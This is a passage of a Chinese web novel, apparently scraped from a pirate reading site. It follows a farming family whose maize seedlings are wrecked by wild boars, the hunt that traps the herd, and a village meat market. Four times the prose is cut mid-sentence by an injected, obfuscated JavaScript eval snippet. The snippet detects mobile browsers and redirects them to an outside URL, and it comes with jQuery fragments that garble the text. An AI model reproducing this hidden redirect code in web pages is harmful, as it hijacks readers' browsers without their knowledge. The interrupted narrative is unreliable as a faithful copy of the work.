姚春香等人使出了浑身解数,想置办出一桌丰盛的席面,让大家好好过个节。 高娇娇一边看着眼馋,一边往嘴里塞粽子,红枣粽甜,花生粽香,最好吃的还是花生红枣粽,又香又甜。 高二宝哒哒哒跑了进来,兴奋地举着一条菜花蛇冲高娇娇喊, “姑姑,姑姑快看我们抓到了啥。” 高娇娇抬眼看了看,笑道, “这条蛇还挺肥的啊。” “不光肥,还大,看,这么长。” 高二宝高兴的把蛇拉直了,比划着道, “一半剁成段跟野鸡一起炖汤,剩下一半咱们烤了吃。” “你小子倒是个会吃的。” 高娇娇笑着夸了句,挑了个她最喜欢的红枣花生粽子扔了过去。 高二宝接过粽子,咧嘴笑着把蛇送到了厨房,然后就被姚春香给骂了, “你这个臭小子又去抓蛇,当心被有毒的蛇给咬了,家里又不是没肉吃,非得馋这一口.......” 高二宝只轻飘飘回了句, “奶,我姑姑爱吃。” 姚春香便没了声,高娇娇听到又让自己背锅,撇了撇嘴。 看在好吃的份上,她忍了。 高春花和杜映梅也跟着去厨房帮忙,张狗子也难得一见的过来了,坐在厨房门口帮着择菜。 高娇娇见高春花一边在厨房忙碌,一边装作非常不经意的偷瞄张狗子,还时不时抿唇偷笑,不由赶紧转了个方向。 有粽子谁还吃狗粮啊,爱情的甜蜜她是一点也感受不到,鸡皮疙瘩倒是起了一层。 见张狗子看向自己,也可能是看向自己手里的粽子,高娇娇便扔了一个过去。 张狗子接过哭笑不得, “我不是想要吃粽子,我是想提醒你留点肚子,中 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中午埋头苦吃了一通,还喝了一杯竹叶青,胃里满足,心里满足,晕乎乎躺到床上睡了个舒舒服服的午觉。 晚上又跟高二宝等一群小孩去抓了通萤火虫,这个端午节就热热闹闹的过完了。 高娇娇又开始了一日看三回,盼着庄稼苗快点长,等着医馆开张的忙碌时光了。 老话说有苗不愁长,自打番麦发了芽长势就好的不得了,高娇娇每天早上去地里看,都觉得一晚上就能长高一截。 不过几日,就从那么一点点的小芽,长到了一尺来高,绿油油的幼苗,看着别提多精神了。 自己亲手种出来的苗,高娇娇稀罕的不得了,剔下来的苗也舍不得喂牲口,都找地方种了下来。 连院子的鸡棚旁边她都开出来一小块地,种了两排番麦苗。 每天看着,心里就美滋滋。 等番麦苗长大,长出番麦,她就能吃上煮番麦、烤番麦,番麦面,番麦粥,甚至番麦窝头,番麦包子了。 可上天许是见不得高娇娇这么开心,这日清早,高娇娇照例去地里查看时,发现番麦苗被毁了。 不仅番麦苗少了一大片,平整的地里还被翻的乱七八糟,就像长满了癞子的头,难看的辣眼睛。 第二百七十二章 苗被毁了 高娇娇看着原本长着番麦苗的地方,只剩空荡荡的坑。 昨天还倍儿精神的幼苗,今天东倒西歪,断的断,倒的倒,心疼的直抽抽。 杜映梅更是忍不住扯着嗓子骂, “哪个王八蛋跑到我家地里捣乱?偷了我家的苗,还给我们踩倒一大片,糟蹋庄稼天打五雷轰......” “不是人,是野猪!” 高大壮指着几个小小的坑对高娇娇道, “这是野猪留下的脚印,我粗略转了一圈,昨晚你这地里起码进了三头野猪。” 高娇娇不大敢相信, “野猪都进来了,巡逻队的人怎么没看到?” “应该是小野猪,闹出来的动静小,加上昨晚又比较暗,就没注意到。” 高长天走过来沉声道,他身后跟着一脸羞愧的陆天弘,他是昨晚的巡逻队长。 闹出这么大的动静他居然没发现,实在是丢脸的很。 高娇娇还有疑问, “可我看别的地都没事,野猪怎么只来我这里啊?” 这个问题高长天也想不通,娇娇的这块地虽然靠近河边,但不在边缘,还在比较中间的位置。 左右两侧都有地,从山上下来一直走到这里,中途要经过好些田地,可野猪并没有在别人的地里翻腾,而是径直来了她这里。 朱钰弯腰捡起一株被踩断的番麦苗,放到鼻子下头闻了闻,大胆猜测道, “会不会是这种苗比较好吃?比荞麦莜麦味道要好。” 高娇娇忍不住想骂娘了,小畜生居然还挑上了! 为了验证朱钰的猜测,晚上高长天带着高娇娇等人,早早就在地边蹲守。 夜深人静,所有人都陷入了睡梦中,高娇娇也忍不住打起了哈欠。 高长天摸了摸她的头,从怀里掏出一个东西递给她。 高娇娇不解接过,在高长天的示意下放到鼻子下面嗅了下,差点没被刺激的掉下眼泪来。 她把小盒子塞回给高长天,吸着鼻子小声抱怨, “这是啥啊?呛**!” “薄荷膏,老刘用薄荷叶和蜂蜡熬的,还加了冰片啥的,特别提神醒脑,还能驱虫,你要不要?” “不要,不要,呛的我眼泪都出来了。” 高娇娇头摇成了拨浪鼓,高长天笑着把薄荷膏收好,忽然听到高大壮低呼, “来了,来了!” 众人不由都赶紧趴好,屏气凝神,看向西南角那条通往山里的小路。 今天跟昨天一样天气有点阴沉沉,星星不明,月亮不亮,需得十分认真盯着才能看到异常。 只见一群野猪排着队从小路上大摇大摆走了过来,穿过种了荞麦莜麦稻谷的地,径直来到了高娇娇的番麦地里。 然后开始了狂欢,大吃特吃,吃饱了就用鼻子翻地玩,追着打闹,在地上打滚。 每一下都像是踩着高娇娇的心蹦跶,她辛辛苦苦种下的苗啊! 她要杀了这群畜生,一个不留! 高长天摁住了高娇娇,还把她已经抓起的刀夺了过去,沉声道, “别冲动,你仔细看清楚,这些都是小野猪,最大的不过三尺来长。 野猪一般都是成群结对,少则十几头,多则几十上百头,大都由成年母猪带领,由成年母猪、公猪和半大野猪,小猪仔组成一个野猪群。 一般情况下,野猪群不会放任小野猪单独行动,往往会有成年大猪带领。 我数了数,这次来的一共有六头小野猪,两头半大野猪。 我估摸着,应该是有个野猪群来了咱们后山,这些小野猪才会偷跑出来半夜觅食。 很有可能是察觉到了那头老虎怀了崽,过来抢地盘,它们要是住下不走了,对咱们可是个**烦。” 高娇娇听着高长天的话,渐渐冷静了下来。 野猪不像老虎那样敏锐,也不像狼那样机警,它们甚至有些迟钝。 仗着皮糙肉厚根本不怕人,不管是在村里,还是在逃荒路上,他们都打过野猪。 成年野猪身量大,力气更大,脾气暴躁,发起疯起来很难对付。 能有这么多猪仔的野猪群一定很大,老虎怕是都只能乖乖让出地盘。 现在地里还只是幼苗就能引来这么多野猪,要是等到庄稼成熟,野猪群肯定会一窝蜂冲下来。 那后果,简直不敢想。 高长天盯着野猪,眼中杀意凛然,沉声道, “咱们必须找到野猪群的老巢,趁着它们还没完全占据这块地盘,将它们一网打尽!” 高娇娇赞成高长天的决定,但问题是,现在难道就任由野猪毁坏她的苗? 朱钰轻轻拍了拍高娇娇的胳膊,安慰的十分扎心, “舍不着孩子套不着狼,你忍一忍吧。” 高娇娇瞪眼不满, “忍不了一点,不能杀,我还不能撵了? 我这就回去拿铜锣!” 说完,就猫着腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467110|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从地边排水沟里走了。 朱钰摸着鼻尖笑了笑,高长天还怕他尴尬,忙安慰道, “其实赶一赶也好,省的这群小畜生吃饱了在地里睡觉,咱们还得干等。” “大哥说的是,”朱钰从善如流,看着离他们不到两丈远,甩着小尾巴悠闲自在的小野猪,眯着眼睛道, “我也有点想吃烤乳猪了,送上门的肉,不要白不要。” 高长天........ 好吧,他想多了。 高娇娇一口气跑回村,找姚春香要来铜锣和火把,就又跑了回去。 高长天安排高大壮四人,以包抄的方式举着点燃的火把吓唬野猪,高娇娇跟在他们后面敲锣呼喝。 他则带着剩下的人,带着打猎的工具,抢先赶到进山的路口。 观察小野猪的逃跑方向,确定追踪方位。 吃饱喝足想要倒地呼呼大睡的野猪,被突然出现的火光和震天响的铜锣声吓蒙了,轰然炸起,四下奔逃。 高娇娇再一次见识了野猪的速度,就连那些只有一尺多长的小野猪,跑起来也是飞快。 尤其是到了山坡上,更是跑出了一道道烟尘,别说她了,就连野狗都追不上。 高长天自然不可能靠着两条腿追野猪,他带着陆天弘等人,顺着野猪逃跑的方向,循着它们留下的踪迹,一头钻进了山里。 高娇娇等人则回到地里收拾残局。 昨晚来的野猪少,糟蹋的地也不过一亩多点,今晚来了这么多野猪,差不多五六亩的番麦苗都被毁了。 高娇娇捡起被野猪踩踏断了的番麦苗,心疼万分,恨恨骂着野猪,把苗扔进了背篓。 断成这样肯定活不了,只能拿回去喂牲口了。 高大壮看着地里被糟蹋的不成样子的幼苗,也忍不住咒骂野猪,这些小畜生吃一半毁一半,真是可恶的很。 收拾完地上被毁的幼苗,看着地里空荡荡一片,高娇娇直发愁。 她已经没有番麦种子了,怎么补种? 高大壮一看就知道高娇娇在愁什么,忙揽着她肩膀道, “别发愁,大哥的种子给你,你种的好了,明年我再种。” “这,不太好吧。” 高娇娇比谁都清楚番麦的价值,趁现在还没普及开来,拿去并州府应该可以大赚一笔。 她不想抢了大哥发财的机会,实在不行,她就把地里剩下那点幼苗都移栽到别的地方,把这几亩地改种稻谷算了。 第二百七十三章 打野猪 可高大壮却不依,还一脸伤心道, “小妹,自从你开窍变聪明后,就跟哥哥们疏远了。 以前你从来不跟我们客气,现在却啥都不想麻烦我们了。 大哥知道,我们都不如你聪明能干,你也不想给我们添负担。 可妹啊,咱们是一家人,是亲兄妹,你遇到事了不找我们,我们心里得多不是滋味啊.......” 高娇娇听得心里很暖,但是吧,看到高壮黑脸大汉委屈巴巴,还一个劲儿抱怨,实在有点辣眼。 赶忙赔礼道歉,连忙保证, “大哥,我错了,我以后再也不跟你们客气了。 你明天抽个空,帮我找雇几个人把地重新翻了平整好,我赶紧补种上。” “行,你放心,都包在大哥身上,大哥保管给你办的妥妥帖帖,你啊,就负责指挥就行。” 高大壮高兴了,恨不得拍着胸脯保证。 高娇娇见他嘴角都快咧到后脑勺了,忍不住想笑,又觉得没眼看。 她这辈子在哥哥们的眼中,怕是长不大了。 直到天黑,高长天才带人回来。 “那群野猪的窝不在后山那几个山头,在山那边。 顺着你们发现的那条小溪一直往上走,翻过山顶那个湖,再穿过一个松树林,有个小池塘,野猪的窝就在池塘边的树林里。” 高长天一边擦洗,一边说道。 高娇娇惊叹, “那么远,它们是怎么找到咱们这儿的?” 高长天放下布巾,叹了口气道, “我估摸原本就有野猪住在那块儿,后来被狼群赶跑了,现在狼群没了,它们就回来了。” 姚春香有点发愁, “难怪石楼村有房有地,附近的村民却没想要搬过来。 原来这地方虽好,想守住也不容易啊。 不光下暴雨容易被淹,还容易遭到野兽袭击,离官道还近,真是不安全的很。” 高长天笑着拍了拍老伴肩膀,故作轻松道, “你这话说的,没得灭了咱们的威风。 不就一群畜生嘛,你等我布下陷阱,准备好工具,给你来个一网打尽。” 高娇娇也忙安慰姚春香道, “是啊,娘,咱们一路走过来啥凶险没遇到过,这点小小的麻烦算个啥啊。 要我说,石楼村这种好地方,就该是咱们的。 人家不都说了嘛,能者上,平者让,庸者下。 那些豺狼虎豹再厉害,还能有咱们厉害? 来一个打一双,来一双,杀光光,我看以后谁敢来!” 姚春香好笑地摸了摸高娇娇的头,嗔怪道, “姑娘家家,别整日喊打喊杀的。” 高娇娇鼓了鼓嘴,不听不听王八念经。 朱钰摇着扇子,欣慰赞叹道, “娇娇这话说的好,能者上,平者让,庸者下。 世道若能如此公允,人人各司其职,或许我有生之年还能看到太平盛世的影子。” 高娇娇赶忙摆手否认, “这话不是我说的,是我不知从哪儿听来的,我读书少,说不出这种话。” “你用不着谦虚。” “我真没谦虚。” “好吧,你说不是就不是吧。” “不是,叔,真不是。” 朱钰笑而不语,高长天和姚春香等人都用赞扬的目光看着高娇娇。 高娇娇默默在心里哀叹,有朱钰这个老狐狸在,她的马甲早晚得掉。 知道了野猪群的位置,剩下的就好办了。 高长天把村里的猎户都集结起来,分成三组,在三个地方分别设置陷阱。 又从刘一手那里弄了些草药,磨成粉倒入野猪窝附近的小池塘边上。 野猪皮糙肉厚,这是它的优势,也是它的劣势。 因为野猪身上不能排汗,所以在天气炎热的季节,就会在泥坑里打滚来降低体温。 还有就是皮太厚,毛太多,很容易吸引寄生虫,通过在泥坑里打滚,在身上裹上一层厚厚的泥巴,就能防止身上长虫。 高长天从刘一手那里弄来的草药,都是能让人晕厥昏睡的,磨成粉倒入池塘边的泥浆里,野猪打滚的时候,会沾染甚至吸入药粉。 而泥浆也能很好的掩盖药粉的气味,等到野猪发现不对劲时,已经四肢绵软无力了。 为了确保野猪不会跑出设置了埋伏的几条路线,高长天还带人采集了一些老虎的粪便,堆放在岔路口。 这样落单的野猪闻到老虎的气味,就不敢往这些岔路上跑了。 除此之外,高长天还在野猪进村的地头安排了诱饵,放了些嫩苗荞麦甚至稻谷,吸引野猪。 所有的准备,都是为了将野猪一网打尽。 高长天比任何人都清楚,野猪这种东西有多能生,母猪一年能生两窝,一窝起码七八只,多的时候十只也正常。 野猪崽子还特别皮实,幼崽大部分都能成活。 只要遗漏一头母猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477464|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要不了多久就会又形成一个野猪群,那真是没完没了了。 这是高娇娇第一次正式跟着打猎,之前顶多算是跟在后头打杂,这次却是被高长天带在身边,手把手教。 从如何辨别野猪足迹,如何分辨野猪的粪便,到怎么选陷阱位置,怎么挖,怎么把几种陷阱配合着使用。 甚至连晚上要在哪里守着,故意制造出什么动静才能既不惊扰到野猪,还能让野猪上当,都一一教给了高娇娇。 高娇娇学的十分认真,比起种地,她对打猎更感兴趣。 以后若是有机会,她也想跟着哥哥们去山里见识一下毒蛇猛兽,这可都是生存技能,学了能保命。 一切准备就绪,所有人都藏在各自位置耐心等待。 高娇娇学着高长天的样子,将大半身子窝进挡风的坡下,慢慢吃着干粮喝着水,静静等着。 这一等就等到了半夜,还没任何动静,高娇娇忍不住打了个哈欠问高长天, “爹,野猪不会察觉到咱们的动静,不来了吧?” “野猪可不怕人,更何况是有那么多野猪的大野猪群,它们更不怕人。 你种的那个番麦苗嫩,口感鲜甜,对野猪来说就是绝佳美味。 我试着拿了一把喂牛,牛也爱吃的很。” 高长天的话,让高娇娇又想起了自己被踩断的苗,不由心疼万分。 可恶的野猪,今晚只要敢来,她一个也不会放过。 又过了一个来时辰,负责在前头坡上放哨的陆天弘,急急忙忙跑了过来, “来了,来了,里正,比昨晚还多,有好几头大野猪!” 高娇娇激动地站了起来,高长天不紧不慢安排道, “按计划行动,只要有野猪踩中陷阱,就把提前准备好的诱饵扔出去,千万别让别的野猪一下子就跑远了。” “是!” 陆天弘应了声,立刻转身跑去通知藏在陷阱周围的人。 今晚月光明亮,照的地上明晃晃。 为了不被嗅觉敏锐的野猪发现,高长天在他们藏身的地方铺了厚厚的树枝和干草。 这样野猪离的比较近的时候,掀起树枝藏在下面,就不容易被发现。 可高娇娇做不到像高长天这样沉稳,她想亲眼看看怎么用陷阱抓野猪。 高长天就让她爬到树杈上,藏在枝叶茂密的地方,这样看的清楚,也不会被发现。 站得高果然看得远,只见月色下,一群黑糊糊的东西正悄无声息地靠近。 第二百七十四章 一网打尽 它们排着队,半大的野猪在前头,小的野猪在中间,然后是大野猪,再重复这个队形,直到最后面最大的那头野猪压阵,粗略一数,起码有二十几头。 高娇娇不由恨得牙疼,好家伙,这是把窝里的都带过来一起吃大餐啊。 今晚他们要是再不动手,她那十来亩番麦地肯定要被啃光了。 走在最前面的半大野猪是前哨,它走着走着突然停了下来,似乎是察觉到了异样。 高娇娇不敢再把身子探出去想要看的更清楚,赶忙藏回了枝叶中。 埋伏在陷阱周围的陆天弘等人也紧张不已,生怕这些野猪会发现陷阱。 按照里正的安排,他们中间位置这个陷阱会被野猪最先踏入,所以陷阱挖的很大很深,里面扎的木刺最多,还涂了麻药。 保守估计,应该会有三成野猪在这里被解决掉。 然后剩下的野猪再由最前头的陷阱解决掉三成,最后四成,留给埋伏在田地周围的人来解决。 至于躲在老窝没出来的野猪,会被撒了药粉的泥潭,和最里面的那群人解决掉。 他们准备好了一切,就等着野猪掉入陷阱了。 前哨野猪嗅了又嗅,始终无法分辨,正迟疑不前,跟在它后头的野猪崽子已经不耐烦起来。 走了这么远,它们早饿了,迫不及待想去昨晚饱餐过的地方再大吃一顿。 高娇娇眼睁睁看着小猪仔绕过前哨野猪,径直走到了陷阱上,不由紧张地握紧了树干。 但是,陷阱没有任何变化,甚至好几头小野猪都走过去了,也没有丝毫反应。 这? 不会是遮挡物铺的太厚没法用了吧? 正当高娇娇忍不住探出头想看看清楚时,最后的那几头大野猪踩上了陷阱。 “咔嚓!砰!砰!砰.......” 树枝被踩断的声音还没落地,紧接着便响起了重物落地的声音,以及野猪皮肉被刺破,震耳欲聋的嚎叫。 没掉入陷阱的野猪吓坏了,刚想四散奔逃,就见周围地上不知何时冒出来了许多好吃的。 食物诱人的香味,让饥肠辘辘的野猪不由自主放慢了逃跑的脚步,有的小野猪甚至忘记了逃跑,大口大口吃了起来。 吃完这堆吃那堆,吃完这团吃那团,吃着吃着,就吃回到了陷阱边。 然后不知从哪儿就冒出来几根绳子,劈头盖脸朝它们勒了上来。 野猪本能想要躲,却忘了自己就在陷阱边,然后一蹦一跳,扑通,砰砰砰! 把陷阱里头那些拼命挣扎想要往外爬的野猪给砸懵了,尤其是那头最大身上被木刺炸了好几个血窟窿,好不容易才把木刺压断爬起来的野猪。 就这么被愚蠢的同伴又给砸了回去,尖利的木刺顺着原本的伤口,更深地扎入了皮肉肺腑内脏,血突突往外流。 让原本还能挣扎着爬起来的大野猪,渐渐失去了挣扎的力气。 高娇娇在野猪落入陷阱的瞬间,就从树上爬了下来,飞速冲了过去。 现在正拿着加长了杆子的长矛,朝着陷阱里的野猪要害处猛刺。 她力气大,准头好,几乎每一下都能刺中野猪的要害,被她刺中的野猪没一会儿就停止了挣扎。 看的陆天弘几人自愧不如,干脆扔了长矛,去收拾陷阱周围散落的绳子了。 等到陷阱里的野猪一动不动,就算没死透也不可能再挣扎反抗,高娇娇这才停了手。 番麦苗被毁的怒气,终于发泄了出去。 高长天这才走过来,举着火把蹲下看了看陷阱里头的情况,数了数道, “大的两头,半大的三头,小猪五头,干掉了快一半,很是不错。” “爹,是现在就把野猪抬出来,还是再等等?” 高娇娇觉得这些野猪没什么威胁了,所以她更倾向于抬出来绑了装车,兴许还能赶着回村里那头帮着收个尾,逮两头活蹦乱跳的小野猪回家养个试试。 虽说爹和大哥都说这玩意儿不能养,但高娇娇恍惚记得有人养过,大不了等小野猪长大了不服管的时候,她一天打三顿。 总能把它们给打老实了不是? 高长天却道, “再等等,等到天亮再往外抬。” “爹,你是怕这些野猪没死绝?” “这玩意儿皮糙肉厚,不是那么快能死透的,更何况,天黑路不好走,还得把车赶过来,麻烦的很。” “哦,好吧。爹,你是不是在陷阱盖子上加机关了?” “没机关,就是铺设的时候弄厚些结实些,这样才能保证大家伙掉进去,小家伙又没肉,抓它干啥。” 高娇娇不由哑然失笑,这法子真是朴素又实用,在打猎这件事上,她要学的还多着呢。 在高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480586|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长天的精密计划下,三处埋伏的人都顺利完成了狩猎任务,将野猪群一网打尽。 只是在运送猎物下山时,遇到了一点小小的意外,埋伏在野猪窝附近的高大壮等人,发现了老虎的踪迹。 高二宝头回参与这么大规模的狩猎,就见到了老虎,又是激动又是害怕,死死揪着高大壮胳膊问, “大伯,大伯,咋办?老虎不会要吃咱们吧?” 高大壮被捏到了肉,疼的龇牙咧嘴,抬起另一只手狠狠拍了高二宝脑袋一下,没好气骂道, “你再大点声喊,把老虎喊来,一口把你给吃了!” 高二宝这才松开了手,可怜巴巴看着高大壮。 高大壮嫌弃不已, “瞅你那胆子,连你姑姑一半都比不了。 你姑姑**岁的时候,跟我们一起进山,遇到狼挥着木棍就冲上去了,一点都不怕。 你看看你,老虎离你还八丈远呢,就把你给吓的,一点男子汉的胆气都没有。” 高二宝更加委屈, “我要有姑姑那力气我也不怕,可我没有啊。” “就你这样,那样的力气给了你也是白瞎。” 高大宝白了高二宝一眼,扭头跟罗子商量, “我估摸是咱们今晚闹出来的动静太大,影响了老虎捕猎,它怀着崽儿,打不到猎物只能冒险过来看看能不能捡漏。” “我觉得也是。” 罗子赞成高大宝的说法,提议道, “要不,给它留一头小猪吧。” “行,反正今儿打的多。” 高大壮点头应下,高二宝不解道, “大伯,罗子叔,咱们为啥要给老虎留猎物啊?这玩意儿又养不熟。” “你懂个啥,让老虎占着这块地盘,比狼和野猪强的多,咱们啊,得帮它把地盘守住。” 高大壮只解释了句,就提起一头最肥的小野猪朝老虎扔了过去。 老虎发出一声低低的吼叫,然后看了高大壮他们一会儿,叼起野猪跑了。 比起狩猎野猪,把已经猎到的野猪运出去更困难。 尤其是高大壮这伙人,他们一共只有四十来人,野猪就有三十来头,成年大野猪就有八头。 山路崎岖,不管是马车还是牛车都进不来,唯一的办法只能就地把野猪杀了分割成块,装进背篓麻袋抗回去。 第二百七十五章 摆摊 忙了整整一天,才把所有野猪和野猪肉运了回来。 高娇娇先是自己一个人扛了一头二三百斤的大野猪回来,又推着独轮车,去高大壮那边,推了满满一车肉回来。 血水混着稀泥,把她身上的衣服都打湿了大片,天又热,打湿的衣服被体温捂干后,红一片黑一片,简直跟乞丐一般。 看的姚春香心疼不已,再次劝道, “这么脏的活儿哪是你干的,一跑几天,累死个人。 听娘的话,以后打猎咱们就不去了啊。” 高娇娇甩了甩酸疼的手,咧嘴笑着转移话题, “娘,看,全是肉,这么多,足够咱们吃到过年了吧。” 姚春香见她这样,就知道她听不进去,只得叹了口气道, “天热,肉不好腌,还费盐。 更何况野猪肉不如自家养的猪肉肥,吃着香,还是让你爹他们拉到城里卖了算了。” 高娇娇一想也是,刚要点头,看到几个双水村的小孩盯着肉流口水,不由心念一动。 “娘,要不,咱们把整头的野猪拉到城里卖了,把已经分割好的野猪肉摆摊卖了吧。 咱们卖便宜点,估计附近住的人会来买也说不定。 一来省的咱们大老远拉到城里,二来也好给咱们的作坊**点人气。 最好以后咱们这里能形成一个集市,这样就不愁作坊开起来后没生意了。 或许,咱家也可以开个肉铺啥的,不光卖生肉,也卖点卤味。” 姚春香觉得这个法子听着不错,转头就去跟高长天和朱钰他们商量了一番。 最终决定留下二百斤生肉摆摊卖,一百斤肉卤制了卖给村里人,让大家一起解解馋。 原本猪肚猪大肠什么的,高大壮他们嫌麻烦担心一次背不完,打算扔掉。 后来高娇娇带着人推车过去帮忙运,就都装进背篓拉了回来。 现在决定卤肉,姚春香就带着罗子娘等人连夜把这些下水收拾了出来。 次日一早,高娇娇刚睁开眼睛就闻到了卤肉的香味,立刻从床上爬了起来。 看到满满两大盆还冒着热气的卤肉,高娇娇刚迈出门的脚,差点没踩空。 这,未免也太多了吧。 可对于喜欢吃肉的人来说,能敞开肚皮吃肉吃到饱,简直不要太爽。 高二宝一手猪蹄一手猪尾巴,吃的满脸油,还一个劲儿冲高娇娇嚷嚷, “姑姑快来,我专门挑了几个小猪蹄给你,皮都炖烂糊了,可好吃了。” 高娇娇可受不了大清早就吃的这么油腻,她还是更习惯喝点粥吃点馒头饼子什么的。 姚春香深知闺女的喜好,已经烙好了饼子,熬了一大锅小米粥。 还给高娇娇凉拌了一盘刚摘的苜蓿苗,放了她喜欢的山茱萸粉和醋,酸辣爽口。 高娇娇吃着自己清淡的早饭,看着高二宝他们大口大口吃肉,觉得馋了就吃几口偏瘦点的肉,慢慢悠悠,舒服自在。 却不知姚春香看着吃的满脸油的小子们,再看看吃的不紧不慢的高娇娇,忍不住悄悄跟罗子娘几个感叹: “还是闺女好啊,吃东西都好看,这帮小子都跟饿死鬼投胎似的,多看两眼就烦。” 罗子娘几人不由笑了起来,纷纷吐槽自家小子如何能吃,如何邋遢讨人厌,有闺女的显摆闺女,没闺女的只能眼馋。 吃饱喝足,刚放下碗,朱钰就来喊人了。 卖肉的事刚商量好,村里的好些个媳妇就赶紧给娘家传信,现在买肉的人已经来了,得出摊了。 高娇娇抓起姚春香她们早就准备好的围裙,往腰上一系,就抱起了装满卤肉的木盆。 装车,下坡,到达桥边的空地。 往四条长凳上架着木门,铺上干净的油布,摊位就算是做好了,放上案板和剁肉的墩子,一边摆放上生肉,另一边摆放上卤肉。 高娇娇和姚春香负责生肉摊位,高春花和杜映梅负责卤肉摊位。 见买肉的人一窝蜂挤到跟前,乱成一团。 高娇娇忙指挥高二宝几个半大小子帮着维持秩序,让过来买肉的人排成队,依次上前。 现在粮价高,肉价自然也高,城里一斤五花肉十七文,前后腿十五文,排骨十二文,猪蹄猪头猪板油十文,猪下水和边角碎肉八文。 他们这是野猪肉,味道不如家养的猪好吃,除了城里有钱人家喜欢吃野味的会出个高点的价钱,一般酒楼饭馆收购,都会比家猪低一点。 高娇娇打算用这些来给将来的集市招揽人气,肉价自然要比正常价再低一些。 高长天和朱钰说这个法子是她想的,价钱就由她来定。 高娇娇见来的人不少,看衣着打扮都是寻常百姓,过来买肉也是想捡个便宜,便决定一降到底。 五花肉一斤十二文,前后腿一斤十文,排骨什么的统统一斤六文。 卤肉差不多是一斤生六两熟,加上要用大量的香料,还要耗费很多人工,所以一般是生肉的两到三倍。 高娇娇打算省事点,卤肉一律按二十文一斤,下水一律按十五文一斤,反正卤肉也不多,想来买的人也不会很多。 但出乎高娇娇预料的是,买肉的人都很舍得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484632|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一买就是三五斤,尤其是猪板油,都是抢着要,有个大嫂直接买十斤,弄的高娇娇都忍不住劝, “天热肉放不住,买多了吃不完,别浪费了。” 哪知对方笑哈哈, “吃不完我们腌起来,你们这肉便宜,我们多买点,今年就不用再买肉了,城里卖的再贵也不担心。” 高娇娇这才明白,原来人家不光是图他们便宜,也是担心城里涨价。 但这样一来,原本留下来卖的肉就有些不够了。 好在高长天他们还没走,高娇娇忙让高二宝他们又拉过来三百斤肉,这才没让来买肉的人跑空。 除了肉摊,空地上还摆出了几个摊位。 有林巧儿绣坊的绣品摊位,还有刘一手售卖丸药的摊位,常铁柱也试着给自己的铁匠坊招揽生意,打出了免费帮人修农具铁器的牌子。 罗子和罗子媳妇也带着从城里进的针头线脑油盐酱醋,还有一些便宜的布料,摆了个长长的杂货摊位出来。 村里其他人见来买东西的人多,有的心眼活络的,比如李二他娘,就把家里的各种杂粮用布兜子装了,摆在地上叫卖。 还有几个会编筐的,也把自己编好的筐、篮子、篦子什么,拿出来卖。 实在没什么东西可卖的,就蒸点菜团子,烙点饼子,用小篮子装了,过来叫卖。 反正就在自己村里,又不怕遇到麻烦,能卖就卖,卖不了就拿回家自己吃,怎样都不亏。 于是,本来只打算买肉的人,便忍不住被周围的摊位吸引住了。 看看这家的发带绣的可真好看,闺女大了准备相看人家了,买一个回去戴上,打扮好看点也能相看个好人家。 这个小大夫看着年轻,但免费给把脉,最近腰一直疼,让大夫看一下又不花钱,那就看看吧。 至于看完后要不要买药丸,那得看大夫看的准不准。 那家的筐编的密,看着就结实,也不贵,今儿买的东西多,买一个用来装东西,正合适。 东买西逛一大圈,一看天色也不早了该回家了,可路口那人卖的菜团子看着真香。 肉都买了,菜团子还有啥吃不起的,买一个,不,两个,正好垫垫肚子。 一通忙碌到了中午,高娇娇他们带来的所有肉都卖完了,终于可以收摊了。 别说高二宝几个了,就连高娇娇也累的受不了了。 跟个陀螺一样一直切肉称重收钱,她累的都快出现幻听了,总觉得耳边有铜钱落入木盒子的哗哗声。 扭头一看,原来不是她幻听,是三宝这个淘气鬼把铜钱捧起来洒着玩呢。 第二百七十六章 开办集市 “别玩了,赶紧收拾收拾回家,数钱!” 高娇娇招呼了声,大的小的都高兴应了声。 世上还能有比数钱更快乐的事吗? 有! 那就是串钱! 高娇娇拎着串成长串的几吊线,问姚春香, “娘,看到这么多钱你开心不开心?” 